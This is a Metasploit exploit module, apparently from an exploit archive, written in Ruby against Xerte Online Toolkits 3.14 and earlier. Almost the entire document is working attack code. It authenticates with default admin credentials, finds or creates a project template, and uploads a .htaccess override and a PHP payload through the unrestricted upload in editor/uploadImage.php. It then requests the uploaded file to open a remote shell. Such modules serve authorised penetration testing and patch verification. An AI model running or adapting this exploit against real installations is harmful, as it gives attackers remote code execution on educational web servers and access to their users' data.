Share
## https://sploitus.com/exploit?id=PACKETSTORM:215589
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::FileDropper
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Xerte Online Toolkits Arbitrary File Upload - Upload Image',
            'Description' => %q{
              This module exploits the user template file import function's unrestricted
              file upload in versions 3.14 and earlier to upload and execute a shell.
              This targets editor/uploadImage.php.
              This has only been tested in implementations where the authentication type is "Db".
    
              OPSEC
              - if the user is logged in elsewhere, they may experience interruptions
              - several requests sent to the server and activity is logged
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'Brandon Lester'
            ],
            'References' => [
              ['URL', 'https://blog.haicen.me/posts/xerte-online-toolkits/'],
              ['URL', 'https://www.xerte.org.uk/index.php/en/news/blog/80-news/357-xerte-3-13-en-3-14-important-security-update-now-available']
            ],
            'Privileged' => false,
            'Targets' => [
              [
                'PHP', {
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP
                }
              ]
            ],
            'DisclosureDate' => '2025-08-04',
            'DefaultTarget' => 0,
            'Notes' => {
              'Reliability' => [REPEATABLE_SESSION],
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
        register_options(
          [
            OptString.new('TARGETURI', [true, 'The path of a xerte installation', '/xerteonlinetoolkits']),
            OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]),
            OptString.new('PASSWORD', [ true, 'The password for the specified username', 'admin' ])
          ]
        )
      end
    
      def login
        print_status('Attempting to authenticate...')
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path, '/'),
          'method' => 'POST',
          'vars_post' => {
            'login' => datastore['USERNAME'],
            'password' => datastore['PASSWORD']
          },
          'keep_cookies' => true
        )
    
        unless (res&.code == 200 || (res&.code == 302 && res.headers['Location'] == 'management.php')) && res.get_cookies.include?('PHPSESSID')
          fail_with(Failure::NoAccess, 'Failed to authenticate with the target.')
        end
        print_good('Authentication successful.')
      end
    
      def check
        print_status('Performing check')
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'website_code', 'php', 'language', 'import_language.php')
        })
        if res&.code == 200
          if res.body.include?('No valid language definition found in the file!')
            return Exploit::CheckCode::Vulnerable
          else
            return Exploit::CheckCode::Safe
          end
        end
        return Exploit::CheckCode::Safe
      end
    
      def trigger_payload
        print_good("Triggering shell at #{@web_path}")
        # using for loop with the range
        shell_uri = @web_path.gsub(/.*#{target_uri.path}/, '') # gsub(/\.*${target_uri.path()}\/, "")
        send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, shell_uri, 'media', php_filename)
        })
      end
    
      def upload_payload(my_payload, filename)
        # construct the payload and upload
        mime = Rex::MIME::Message.new
        mime.add_part(my_payload, 'image/png', nil,
                      %(form-data; name="upload"; filename=#{filename}))
    
        # web path will contain the full address, like `http://127.0.0.1:8180/xerteonlinetoolkits/USER-FILES/3-reguser-Nottingham/` so trim it
        mime.add_part(@media_path.gsub(%r{media/$}, ''), nil, nil, 'form-data; name="uploadPath"')
        mime.add_part(@web_path.gsub(%r{media/$}, ''), nil, nil, 'form-data; name="uploadURL"')
    
        # mediapath should be something like `/var/www/html/xerteonlinetoolkits/USER-FILES/3-reguser-Nottingham/`
        register_file_for_cleanup("#{@media_path}#{php_filename}")
        register_file_for_cleanup("#{@media_path}.htaccess")
    
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, '/editor/uploadImage.php'),
          'headers' => { 'Content-Type' => "multipart/form-data; boundary=#{mime.bound}" },
          'data' => mime.to_s
        )
        if res && res.code.to_i == 200 && res.body.include?('Something went wrong while trying to uplod file!')
          fail_with(Failure::UnexpectedReply, 'payload was not uploaded.')
        end
      end
    
      def delete_lockfile(template_id)
        # The previous step made a get request to the template, effectively locking it.
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'edithtml.php'),
          'vars_get' => {
            'template_id' => template_id.to_s
          },
          'vars_post' => {
            'lockfile_clear' => 'delete_lockfile'
          }
    
        })
        html = res.get_html_document
        vprint_status("Deleted lockfile for #{template_id}")
        variable_block = html.at('[text()*="mediavariable="]').text
        parse_template(variable_block)
      end
    
      def parse_template(template)
        # extract important variables from the template
        vprint_status('Parsing template')
        template.each_line do |line|
          if line && line.include?('mediavariable=')
            @media_path = line.split('"')[1]
          elsif line && line.include?('rlourlvariable')
            @web_path = line.split('"')[1]
          elsif line && line.include?('template_id')
            @template_id = line.split('"')[1]
          elsif line && line.include?('path = "')
            line = line.strip
            @template_path = line.split('"')[1]
          end
        end
        vprint_status("Found media: #{@media_path}") unless @media_path.blank?
        vprint_status("Found web path: #{@web_path}") unless @web_path.blank?
        vprint_status("Found template: #{@template_id}") unless @template_id.blank?
      end
    
      def find_valid_template
        # Iterates template ID's 1-20 to see if any exist and if the user has access.
        found_template = false
        for template_id in 1..20 do
          vprint_line("Checking template ID #{template_id}")
          res = send_request_cgi({ # this causes the template to become locked
            'method' => 'GET',
            'uri' => normalize_uri(target_uri.path, '/edithtml.php'),
            'vars_get' => {
              'template_id' => template_id.to_s
            }
          })
          if res&.code == 200
            if res.body.to_s.include?('This project is currently locked as it is already being edited by you!')
              delete_lockfile(template_id)
              found_template = true
              print_status("Found mediavariable at #{template_id}")
              break
            elsif res.body.to_s.include?('Invalid template_id (could not find in DB)')
              vprint_line("Template #{template_id} doesn't exist")
            elsif res.body.to_s.include?('Permission denied')
              vprint_line("Template #{template_id} belongs to someone else")
            else
              vprint_line("Template ID #{template_id} is not locked")
              delete_lockfile(template_id)
              found_template = true
              print_status("Found mediavariable at #{template_id}")
              break
            end
          else
            print_bad("Error with template #{template_id}")
          end
        end
    
        unless found_template
          # If no projects are found, create one
          res = send_request_cgi({
            'method' => 'POST',
            'uri' => normalize_uri(target_uri.path, 'website_code', 'php', 'templates', 'new_template.php'),
            'vars_post' => {
              'tutorialid' => 'Nottingham',
              'templatename' => 'Nottingham',
              'tutorialname' => Rex::Text.rand_text_alpha(8),
              'folder_id' => ''
            }
          })
    
          if res&.code == 200 && !res.body.to_s.include?('FAILED-Failed to create new template record')
            # Ensure the project was created
            template_id = res.body.to_s.split(',')[0]
            print_status("Created template (id: #{template_id})")
            delete_lockfile(template_id)
            found_template = true
          end
        end
        # If for some reason, the previous project creation failed, it's probably best to create one manually.
        fail_with(Failure::NotFound, 'User has no project templates, try logging in and creating one. Also, check whether more than 20 projects are already created.') unless found_template
      end
    
      def exploit
        login
        find_valid_template
        # this exploit won't work unless a .htaccess file is also uploaded
        upload_payload(htaccess_payload, '.htaccess')
        upload_payload(payload.encoded, php_filename)
        print_status('Uploaded the PHP Payload file')
        trigger_payload
      end
    
      def php_filename
        @php_filename ||= Rex::Text.rand_text_alpha(8) + '.php'
      end
    
      def htaccess_payload
        <<~PAYLOAD
          <IfModule mod_rewrite.c>
              RewriteEngine Off
          </IfModule>
        PAYLOAD
      end
    end